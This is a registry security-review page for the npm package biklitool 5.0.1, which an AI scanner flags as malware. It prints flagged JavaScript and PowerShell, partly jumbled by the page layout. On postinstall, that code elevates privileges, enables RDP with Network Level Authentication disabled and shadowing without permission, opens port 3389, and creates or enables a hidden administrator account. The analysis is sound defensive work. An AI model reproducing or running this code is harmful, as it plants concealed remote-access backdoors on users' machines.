registry / biklitool / 5.0.1

biklitool@5.0.1

Internal Windows installer for Bikli CLI and Bikli Wrapper

AI Security Review

scanned 3h ago · by lpm-firewall-ai

On npm postinstall, the package requests elevation and configures a concealed Windows RDP access path. It enables and exposes RDP, weakens authentication, creates or enables a privileged hidden account, and disguises a service.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install runs the postinstall hook on Windows; elevation is requested.

Impact

Remote access exposure and concealed privileged persistence on the installed host.

Mechanism

Elevated PowerShell, registry, firewall, service, and local-account mutation.

Attack narrative

Installing the package executes its install command through postinstall. The command requests administrator elevation, installs bundled executables, enables RDP on port 3389, disables Network Level Authentication, permits shadow access without permission, and adds inbound firewall rules. It enables the built-in Administrator or creates a local administrator, adds it to Administrators and Remote Desktop Users, and hides it from the sign-in screen. It also changes service metadata to resemble Windows infrastructure and hides installed folders.

Rationale

This is concrete, automatic install-time host compromise behavior, not an inert installer primitive. The lack of observed exfiltration does not mitigate the concealed privileged remote-access chain.

Evidence

package.jsonbin/biklimaster.jslib/bikliwrapper.jspayload/bikli-cli-installer.exepayload/RDPWInst.exepayload/rdpwrap.ini

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

npm postinstall automatically invokes privileged install logic.
Install enables RDP and creates a privileged account.
RDP settings disable NLA and permit shadow access without permission.
It opens inbound TCP/UDP firewall rules on port 3389.
Account logic enables/creates an administrator and hides it from sign-in.
It disguises its service as a Windows host and hides protected folders.

Evidence against

No source-level HTTP/network client or remote payload download was found.
Payload checksums are verified before installation.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystem

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 64.1 KB of source

Source & flagged code

7 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/biklimaster.js install --postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/biklimaster.js install --postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

Findings

5 High4 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencebin/biklimaster.js

HighAi Review Evidencelib/bikliwrapper.js

HighAi Review Evidencebin/biklimaster.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumShips Native Binarypayload/bikli-cli-installer.exe

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

postinstall

Behavioral surface

ChildProcessCryptoEnvironmentVarsFilesystemHighEntropyStringsManifest: clean

LPM CLI

bin/biklimaster.jsView file

557function install() { requireWindows(); if (!isAdministrator()) return elevateAndRun('install'); verifyPayload(); installBikli(); setupBikliKey(); console.log('Installing or updating Bikli Wrapper silently...'); const wrapper = runWrapper(['install', '--elevated']); if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim()); verifyRemoteDesktop(); createRdpAdministrator(); hideProtectedFolders();

High

Ai Review Evidence

Install enables RDP and creates a privileged account.

bin/biklimaster.jsView on unpkg · L557

742`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-

High

Ai Review Evidence

Account logic enables/creates an administrator and hides it from sign-in.

bin/biklimaster.jsView on unpkg · L742

lib/bikliwrapper.jsView file

65{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' }, { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' }, { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' }, { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' }, { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },

High

Ai Review Evidence

RDP settings disable NLA and permit shadow access without permission.

lib/bikliwrapper.jsView on unpkg · L65

229function ensureFirewallRules() { const script = [ `$ErrorActionPreference='Stop'`, `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`, `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}` ].join(';'); run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);

High

Ai Review Evidence

It opens inbound TCP/UDP firewall rules on port 3389.

lib/bikliwrapper.jsView on unpkg · L229

Source & flagged code

7 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

"bin/biklimaster.js"

,

14 "biklimaster": "bin/biklimaster.js",

15 "bikliwrapper": "lib/bikliwrapper.js"

16 },

17 "files": [

18 "bin",

19 "lib",

20 "payload",

21 "config.json",

22 "README.md",

23 "LICENSE-BIKLI",

24 "LICENSE-RDPWRAPPER"

25 ],

26 "scripts": {

27 "postinstall": "node bin/biklimaster.js install --postinstall",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L27

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L27

28 "test": "node bin/biklimaster.js self-test"

29 },

30 "engines": {

31 "node": ">=18"

32 },

33 "keywords": [

34 "bikli",

35 "rdp",

36 "vpn",

37 "windows",

38 "installer"

39 ]

40}

41

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

bin/biklimaster.jsView file

Lines 537-577javascript

537function enableRemoteDesktop() {

538 requireWindows();

539 if (!isAdministrator()) return elevateAndRun('enable-rdp');

540 verifyPayload();

541 console.

lib/bikliwrapper.jsView file

Lines 45-85javascript

45 }

46 });

47}

48const installerPath = path.join(payloadDirectory, 'RDPWInst.exe');

49const bundledIniPath = path.join(payloadDirectory, 'rdpwrap.ini');

log

(

'Enabling Remote Desktop and applying the firewall and security defaults...'

);

542 const wrapper = runWrapper(['defaults', '--elevated']);

543 if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());

544 verifyRemoteDesktop();

545 hideProtectedFolders();

546}

547

548function disableRemoteDesktop() {

549 requireWindows();

550 if (!isAdministrator()) return elevateAndRun('disable-rdp');

551 const wrapper = runWrapper(['disable', '--elevated']);

552 if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());

553 if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);

554 console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');

555}

556

557function install() {

558 requireWindows();

559 if (!isAdministrator()) return elevateAndRun('install');

560 verifyPayload();

561 installBikli();

562 setupBikliKey();

563 console.log('Installing or updating Bikli Wrapper silently...');

564 const wrapper = runWrapper(['install', '--elevated']);

565 if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());

566 verifyRemoteDesktop();

567 createRdpAdministrator();

568 hideProtectedFolders();

High

Ai Review Evidence

Install enables RDP and creates a privileged account.

bin/biklimaster.jsView on unpkg · L557

569 console.log('Bikli Master installed and verified both components successfully.');

570}

571

572function generatedAccountPassword() {

573 return `Bk1!${randomBytes(18).toString('base64url')}`;

574}

575

576function configuredAdministratorPassword() {

577 if (!fs.existsSync(packageConfigFile)) fail('Missing package configuration file: config.json');

Lines 722-762javascript

722 fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');

723 }

724 return name;

725}

726

727function createRdpAdministrator() {

728 requireWindows();

729 if (!

50const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';

51const system32 = path.join(windowsDirectory, 'System32');

52const powershellPath = path.join(system32, 'WindowsPowerShell', 'v1.0', 'powershell.exe');

53

54const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';

55const rdpTcpKey = terminalServerKey + '\\WinStations\\RDP-Tcp';

56const serviceParametersKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters';

57const shadowPolicyKey = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services';

58const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System';

59

60const requestedSettings = [

61 { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },

62 { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },

63 { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },

64 { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },

65 { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },

66 { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },

67 { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },

68 { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },

69 { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },

High

Ai Review Evidence

RDP settings disable NLA and permit shadow access without permission.

lib/bikliwrapper.jsView on unpkg · L65

70 { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },

71 { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },

72 { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },

73 { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },

74 { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },

75 { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },

76 { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },

77 { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },

78 { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },

79 { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },

80 { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },

81 { key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },

82 { key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },

83 { key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },

84 { key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },

85 { key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }

Lines 209-249javascript

209 installedSupported: installed && iniSupports(installedIniPath, version),

210 bundledSupported: iniSupports(bundledIniPath, version)

211 };

212}

213

214function applyRequestedSettings() {

215 let changed =

isAdministrator

())

return

elevateAndRun

(

'create-user'

);

730

731 const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();

732 const accountPassword = requestedPassword || generatedAccountPassword();

733 const script = [

734 `$ErrorActionPreference='Stop'`,

735 `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,

736 `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,

737 `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,

738 `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,

739 `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,

740 `$builtInWasDisabled=-not $builtIn.Enabled`,

741 `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,

742 `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get- ...

High

Ai Review Evidence

Account logic enables/creates an administrator and hides it from sign-in.

bin/biklimaster.jsView on unpkg · L742

743 `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,

744 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,

745 `$verified=@()`,

746 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,

747 `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,

748 `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,

749 `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,

750 `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne

751 `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,

752 `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`

753 ].join(';');

754 const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {

755 env: {

756 ...process.env,

757 BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword

758 }

759 });

760 const account = parseAccountReport(result.stdout);

761 if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {

762 fail('The Remote Desktop administrator account could not be verified.', 7);

Long lines were clipped for display.

false

;

216 for (const setting of requestedSettings) {

217 const oldValue = queryDword(setting.key, setting.name);

218 if (oldValue !== setting.value) {

219 run(path.join(system32, 'reg.exe'), [

220 'add', setting.key, '/v', setting.name, '/t', 'REG_DWORD',

221 '/d', String(setting.value), '/f', '/reg:64'

222 ]);

223 changed = true;

224 }

225 }

226 return changed;

227}

228

229function ensureFirewallRules() {

230 const script = [

231 `$ErrorActionPreference='Stop'`,

232 `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,

233 `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`

234 ].join(';');

235 run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);

High

Ai Review Evidence

It opens inbound TCP/UDP firewall rules on port 3389.

lib/bikliwrapper.jsView on unpkg · L229

236}

237

238function runInstaller(argument) {

239 return run(installerPath, [argument], { cwd: payloadDirectory });

240}

241

242function restartTermService() {

243 const net = path.join(system32, 'net.exe');

244 run(net, ['stop', 'TermService', '/y'], { allowFailure: true });

245 run(net, ['start', 'TermService'], { allowFailure: true });

246 run(net, ['start', 'UmRdpService'], { allowFailure: true });

247}

248

249function serviceIsRunning() {

0

){throw (

'Could not hide '

+$target.Name+

' from the sign-in screen'

)};$alreadyHidden=$false}else{$alreadyHidden=$true}

`,